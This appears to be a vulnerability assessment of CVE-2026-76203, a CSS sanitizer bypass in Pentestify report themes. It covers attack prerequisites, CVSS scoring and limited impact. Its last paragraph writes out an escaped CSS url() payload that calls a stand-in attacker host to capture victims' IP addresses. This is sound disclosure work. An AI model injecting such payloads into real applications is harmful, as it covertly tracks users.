Pentestify CVE-2026-76203

Exploitation requires an authenticated Pentestify account with permission to create or modify report themes - the CVSS vector PR:L confirms that low-privilege authentication is sufficient; unauthenticated access is not exploitable. A victim must be a separate authenticated user who opens a report rendered with the attacker's malicious theme in their browser (UI:P - passive victim browser interaction is required; no click or explicit action beyond opening the report is needed). The attack is only meaningful in multi-user deployments where report themes are shared or visible across accounts; a single-user installation presents no meaningful risk because attacker and victim would be the same person. If the CSS theme customization feature is already restricted to administrator accounts only, non-administrator users cannot inject the payload and are therefore not a threat vector. Impact is strictly limited to disclosure of the victim's external IP address and browser User-Agent - no server-side data, credentials, session tokens, or application functionality is directly compromised.

The CVSS 4.0 score of 5.1 (AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:L/VA:N/SC:L/SI:L/SA:N) correctly characterizes this as a medium-severity issue: network-accessible with low attack complexity, but constrained by the requirement for both an authenticated attacker (PR:L) and passive victim interaction (UI:P). The subsequent-system confidentiality impact (SC:L) captures the real harm - victim IP address and User-Agent disclosure - while the absence of server-side confidentiality or availability impact (VC:N/VA:N) keeps the score bounded. No EPSS score was provided in the input data, so exploitation probability cannot be quantitatively compared against CVSS. No CISA KEV listing is present, and no confirmed standalone public exploit code exists; the Secur0 write-up and commit diff together constitute a near-complete exploitation blueprint, which modestly elevates practical risk beyond what the score alone implies. The primary real-world limiting factor is that Pentestify serves a niche pentest-reporting audience - deployments are infrequent and the attacker must hold a legitimate account on the same instance as the victim. This is a genuine but narrowly scoped risk, not a widespread emergency.

An authenticated Pentestify user with theme-editing access creates a report theme and injects CSS such as .header { background: \75 rl(https://attacker.example/collect) } into a theme CSS field; the server-side sanitizer passes the input because the literal string 'url(' is absent. When a victim team member opens any report rendered with that theme, their browser decodes \75 to 'u', executes the reconstructed url() call, and sends an HTTP GET to the attacker's server - logging the victim's real IP address and User-Agent without any visible indication to the victim. No confirmed standalone exploit code repository exists, but the Secur0 advisory at https://secur0.com/en/cna/cve-list/cve-2026-76203-css-sanitizer-bypass-pentestify-report-themes and the commit diff together provide a near-complete reproduction blueprint.